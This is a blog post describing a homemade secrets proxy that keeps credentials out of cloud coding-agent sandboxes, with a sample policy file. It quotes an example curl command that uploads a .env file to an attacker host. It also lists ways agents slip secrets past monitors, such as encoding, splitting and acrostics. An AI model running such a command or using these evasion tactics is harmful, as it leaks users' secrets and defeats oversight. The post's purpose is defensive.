Benjamin Anderson
github logo linkedin logo rss feed

Async Coding Agents Part 3: I Vibecoded A Secrets Proxy

How to safetymog AND Chinamaxx

Posted Oct 10, 2026 by Benjamin Anderson

As I said a month ago, open-weights models are getting too good to ignore. In that post, I shared my prototype of a "guardian" for Pi designed to make it safe and ergonomic to run open-weight coding agents on your computer. By putting this guardian between GLM and my command-line, I could rest assured that my valuable folders of selfies and memes wouldn't be surreptitiously collected and sent to China, and that Grok wouldn't rm -rf my entire hard drive.

But coding agent workloads are increasingly moving to the cloud. Pi Guardian works fine in the cloud, but it doesn't fully solve a problem I am increasingly paranoid about: managing secrets. Agents need access to secrets to do stuff, but the second it's in the context window, you're sending it to a provider you don't necessarily trust, and you risk the agent posting your shit on the public internet in a "LOOT" file. In this post, I'll share my approach for solving secrets management for cloud coding agents: a homebrewed secrets proxy.

The Secrets Problem

Coding agent applications have converged on two main architectures: agent-in-the-sandbox, and sandbox-as-a-tool. Agent-in-the-sandbox is straightforward and requires little explanation: you spin up a virtual machine with files and a terminal, and start the agent inside the same machine. "Sandbox-as-a-tool" means that you can run the agent loop on 1 computer, but have its filesystem and command line on another. This has some nice properties—for example, components fail and can be restarted independently, and a sneaky agent can't interfere with its own harness. The debate over these continues to rage on Twitter, but for me, it's not really a debate: until the best harnesses support "remote" bash execution, the model's brain will have to run next to its hands, and the security design has to accommodate that. Regardless of the design, the model's code execution environment will need to use secrets to take actions that require authorization. And as soon as secrets can be used, they can also be misused and misappropriated.

An auto-review system like Pi Guardian, Claude Code's "auto mode", or Codex's auto-review can help – these reviewers will block obvious exfiltration attempts like curl -X POST --data-binary @.env https://attacker.com/upload. But we know frontier models are slippery bastards. They'll base-64 encode sensitive values, break secrets up into pieces, and hide them in HTML comments and acrostics to avoid detection. The hypnotic self-justification of a Mythos chain of thought is potent enough to lull any monitor into a dull stupor, even when that chain of thought is supporting uploading malware to PyPI. In short, the only truly foolproof way to prevent agents from looting your secrets is to keep them out of the environment entirely.

Enter The Secrets Broker

The straightforward way to let a model use secrets without giving it the secrets directly is to "inject" them on the fly. The model runs a command with no secret or with a dummy secret, and you replace it with the real one. Duh. There are several places you could intercept commands to inject secrets. For instance, you could do it at the Bash tool call layer: replace dummy values with real secrets, execute the command in an environment that already has them set as environment variables, and so on. This might work, but it seems finicky. They never taught me shell scripts in school, but if I've learned one thing about bash from working with Claude, it's that they get infinitely complicated and unreadable. I can only imagine how complex it would be to rewrite or inject secrets into them correctly and safely.

A much easier layer to reason about is the network layer. HTTP has a few types of requests, and a smallish set of relevant headers and bodies. If you're mainly using secrets as authorization to make API calls to remote servers, then really the only thing you need to think about rewriting is HTTP headers (and maybe URLs). This is approachable. And so, we arrive at the obviously-correct design: a secrets proxy. Instead of sending the model's network requests straight to the internet, we send them through a proxy. For hosts where we want to provide secrets, we have a set of rules about when to automatically add the secret to the request. And as a bonus, the proxy can also block hosts and paths that we want to completely prohibit the model from accessing (for example, Hugging Face).

Build or Buy?

Build, obviously. Or I wouldn't have anything to blog about. But in all seriousness, I looked around, found a lot of interesting work, but nothing was exactly right. Most reputable existing projects are tangled up with something larger: Infisical's "Agent Proxy" does exactly the right thing, but it's built around Infisical as the vault and control plane. Other secrets proxies like inflightsec/keys-on-the-wire are similarly coupled to specific vaults like Mac OS Keychain and Bitwarden. Apoxy's CLRK project is very robust and has the exact secret-injection primitive I want, but it's part of a larger gVisor/Kubernetes runtime that I'm not touching with a 90-foot stick—I'll stick to my Modal sandboxes, thank you very much. So, build it is.

As a minimum viable product, my goal was to create a proxy that I could drop into a sandbox "sidecar", a recently-released Modal primitive designed for exactly this. At the same time, the proxy should be general-purpose enough (not Modal-shaped) that it could, in theory, run anywhere – locally, on AWS, or on any of the 97 sandbox companies that launch each month (gotta keep the Modal folks on their toes!). The implementation itself was not that interesting – I decided to use Go, made some design decisions (more on the design below), and pointed my agents at some of the open-source projects above as references. In the end, 6,000 lines were written, mostly from scratch, borrowing some ideas (properly credited, of course!) from Infisical's proxy.

How it Works

The design is very flexible, built around a policy that defines the desired behaviors. The policy designates hosts and secrets, and binds secrets to hosts, with a "slot" defining where the secret gets inserted (almost always the Authorization or x-api-key header, but supports query parameters or basic auth too). A secret can come from an environment variable or from a file, and exists only inside the proxy server, unknown to the client. When a request for a secret-bound host goes through the proxy, it attaches the secret automatically. Allowlisted egress hosts pass through without being inspected or modified. Unknown hosts either pass through the proxy, or are blocked, depending on the policy's unmatched_host setting. HTTPS works by having the sandbox trust the proxy's CA, allowing the proxy to decrypt and forward TLS traffic.

secrets proxy policy

The proxy can be used as an "opt-in" proxy locally, where applications that respect the HTTPS_PROXY environment variable send their requests through it (connect mode). For hardened coding-agent setups like mine, it also allows all traffic to be "forced" through it, for instance via a firewall rule (transparent mode). This works for applications that can't be trusted to respect HTTPS_PROXY.

Bindings provide exacting control over when and how a secret is injected into a request. It can attach to all requests, or only allow specific HTTP methods and paths. This lets you have setups like the following, which provides a GitHub credential in exactly the manner needed for each of the gh CLI and for git-over-HTTPS.

bindings:
# gh CLI and the REST API: bearer token, no DELETE
- secret: github
hosts: [api.github.com, uploads.github.com]
slot: { header: Authorization, format: "Bearer {secret}" }
methods: [GET, POST, PATCH, PUT]

# git over https sends the token as basic auth. Listing only the
# fetch endpoints means push is impossible, not just discouraged.
- secret: github
hosts: [github.com]
slot: { basic: { username: x-access-token, password: "{secret}" } }
methods: [GET, POST]
paths: ["/*/*/info/refs", "/*/*/git-upload-pack"]

- secret: anthropic
hosts: [api.anthropic.com]
slot: { header: x-api-key, format: "{secret}" }
methods: [POST]
paths: ["/v1/messages", "/v1/messages/**"]

After integrating it into my cloud coding agent, I ran some tests and the thing works! I was able to run Pi with a Cloudflare-hosted GLM-5.3 in a sandbox, with no Cloudflare credentials anywhere in the sandbox. The only thing the model had access to was a randomly-generated placeholder token. It worked so well, in fact, that GLM thought its internet was broken because the proxy wouldn't let it access example.com. Pretty neat! Want to use it yourself and/or poke a bunch of holes in it and tell me it's stupid? You're in luck, it is open source.

My Big, Fat, Secure Coding Stack

In my previous blog post on this "homemade Devin" project, secrets management was the "what's left" piece that felt the most daunting. Now, after building Pi Guardian to enable using open models more safely, and now the secrets proxy to stop any model from yeeting my API keys on to the internet, I feel much more at ease using the tool. Instead of relying on the mysterious, opaque ~alignment properties~ of frontier models to keep my secrets safe, I have 6,000 lines of cold, hard, vibe-coded Go. Is this setup perfect? Probably not. I'm sure it has some bugs, and even if it doesn't, the agent can still misuse the authorization it's intentionally given by secproxy. But most of you are plugging Claude directly into your 1Password vault and running it for 8 hours on auto mode, and you probably haven't even backed up your computer in a month. Compared to that, this is a major step in the "responsible adult" direction.


« Previous post: Building Auto Mode for Open Models

» Next post: Building a Sandbox Provider in my Living Room